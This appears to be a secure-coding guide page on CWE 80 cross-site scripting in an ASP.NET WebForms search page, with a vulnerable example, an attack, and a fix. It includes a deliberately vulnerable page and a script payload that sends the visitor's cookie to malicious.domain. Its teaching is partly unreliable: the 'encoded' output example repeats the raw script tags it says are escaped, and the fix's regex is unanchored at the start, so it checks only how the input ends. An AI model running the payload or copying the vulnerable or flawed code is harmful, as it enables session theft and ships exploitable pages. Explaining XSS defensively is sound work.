Skip to main content

CWE 80: CROSS-SITE SCRIPTING

Flaw

CWE 80: Cross-Site Scripting (XSS) is a flaw that permits malicious users to execute unauthorized browser scripts in your users' browser. In an XSS attack, attackers identify or discover controls that would enable them to inject scripts into the HTML page via script tags, attributes, and other paths. An attacker achieves this via input sources such as web forms, cookies, and headers. XSS attacks can be made persistent by making the application store the malicious content (such as in a database or key-value store) for later display.

For example:

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Search.aspx.cs" Inherits="WebApplication.Search" ValidateRequest="false" %>

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title>Search</title>
</head>
<body>
    <form id="search" runat="server">
        <div>
            <asp:Literal ID="termSearched" runat="server" />
        </div>
        <div>
            <asp:ListView ID="resultSearch" runat="server">
                <EmptyDataTemplate>
                    No result found.
                </EmptyDataTemplate>
                <ItemTemplate>
                    <li><%#Eval("Description")%></li>
                </ItemTemplate>
            </asp:ListView>
        </div>
        <div>
            <asp:TextBox ID="searchInput" runat="server"></asp:TextBox>
            <asp:Button ID="searchButton" runat="server" Text="Search" OnClick="searchButton_Click" />
        </div>
    </form>
</body>
</html>

The above ASP.NET WebForm uses the following code behind file:

public partial class Search : System.Web.UI.Page
{
    ...
    protected void searchButton_Click(object sender, EventArgs e)
    {
        var searchTerm = Request.QueryString["search"];
        if (!string.IsNullOrEmpty(searchTerm))
        {
            termSearched.Text = searchTerm;
            resultSearch.DataSource = DoSearchForTerm(searchTerm);
            resultSearch.DataBind();
        }
    }
    ...
}

This WebForm provides the user with the ability to search for results based on a input textbox parameter with the name of searchInput. As soon as the user does a postback by pushing the searchButton it is handled by the (above) searchButton_Click handler. This handler takes the given input, performs a search on the available data, and show the results. It will also take the given input and display it using termSearched ASP.NET Literal Control on the page.

For example, if a user submits the following search arguments:

<script>document.location='http://malicious.domain/attackscripts/stealUserCookie.js?'+document.cookie</script>

It would result in the following HTML:

...
<form method="post" action="./Search.aspx" id="search">
    ...
    <div>
        <script>document.location='http://malicious.domain/attackscripts/stealUserCookie.js?'+document.cookie</script>
    </div>
    <div>
        No result found.
    </div>
    <div>
        <input name="searchInput" type="text" value="<script>document.location='http://malicious.domain/attackscripts/stealUserCookie.js?'+document.cookie</script>" id="searchInput" />
        <input type="submit" name="searchButton" value="Search" id="searchButton" />
    </div>
    ...
</form>
...

NB: If you are an ASP.NET developer you are probably aware of a feature called ValidateRequest and you have probably also seen it is explicitly turned off for our search WebForm. With this feature (available since v1.1 of ASP.NET) any rich HTML content is blocked if a user tries to submit it to the server. In our search scenario this would have successfully blocked the malicious payload. ValidateRequest can be disruptive when turned on and should only be considered as an additional mitigating control for reducing the risk of a XSS problem on the website. Also, remember that external data can come from a variety of different sources and it does not always relate to the end-users input.

When a user visits the page, the script will run and redirect the browser to the malicious URL.

In this case, stealUserCookie.js is a remotely-hosted script that takes the user's cookie -- available to JavaScript by default -- and passes it to an attacker. The cookie likely allows them to hijack the visiting user's session, and could contain several additional pieces of data that would benefit the attacker. This is only one of many attacks that are possible if you have an XSS flaw.

By unexpectedly injecting malicious scripts into sources of user input, an attacker can use your web application to attack your users.

It is not just <script> tags that are vulnerable, <a href='javascript:alert("XSS");'> and other similar malicious entries are vulnerable too. You can have XSS anywhere that untrusted input is being included in an HTML page.

NB: All of the modern browsers today support an XSS filter that will block basic reflected XSS attacks. There are contextual limitations in which the browser will not able to block it, for or search scenario it will be successfully blocked. Although the filter is an additional mitigating control it should not be the only countermeasure against XSS problems. Because the filter might break websites, there is a HTTP header called X-XSS-Protection, that you can use to instruct the browser to turn it off. By default, each of the browsers will have the XSS filter turned on.

Fix

To prevent Cross-Site Scripting, you must ensure that your application correctly handles any untrusted data before outputting it to users. In our example, we want to validate the input by only allowing alphanumerical and spaces and perform context-specific encoding that will change the way the text will be displayed. Encoding transforms the characters that function as syntax in the destination context (such as HTML and JavaScript) into versions that appear the same on-screen, but will not be parsed as syntax. For example, to encode data for HTML output replace characters like < and >, which are characters with special meanings in HTML documents, with equivalent sequences that cannot change the structure of the surrounding context.

...
     protected void searchButton_Click(object sender, EventArgs e)
     {
-        var searchTerm = Request.QueryString["search"];
-        if (!string.IsNullOrEmpty(searchTerm))
+        var searchTerm = searchInput.Text;
+        var valSearch = new Regex(@"[a-zA-Z0-9\x20]+$");
+        if (valSearch.IsMatch(searchTerm))
         {
-            termSearched.Text = searchTerm;
+            termSearched.Text = HttpUtility.HtmlEncode(searchTerm);
             resultSearch.DataSource = DoSearchForTerm(searchTerm);
             resultSearch.DataBind();
         }
view fixed code only

If the attacker attempts to run the same malicious input as before, the regular expression validation fails and no XSS will be possible. If for some reason the validation is bypassed or disabled, the encoding of the HTML will make the output look as follows:

...
<form method="post" action="./Search.aspx" id="search">
    ...
    <div>
        <script>document.location='http://malicious.domain/attackscripts/stealUserCookie.js?'+document.cookie</script>
    </div>
    <div>
        No result found.
    </div>
    <div>
        <input name="searchInput" type="text" value="<script>document.location='http://malicious.domain/attackscripts/stealUserCookie.js?'+document.cookie</script>" id="searchInput" />
        <input type="submit" name="searchButton" value="Search" id="searchButton" />
    </div>
    ...
</form>
...

```

The browser correctly interprets &lt;script&gt; as text to render instead of tags to interpret, so the script will not run. Instead, the literal text as submitted appears as the output. Using this approach with a method selected for the right context (HttpUtility.HtmlAttributeEncode(..), HttpUtility.JavaScriptStringEncode, etc.) can prevent a wide range of XSS attacks.

References

CWE ↪OWASP ↪WASC ↪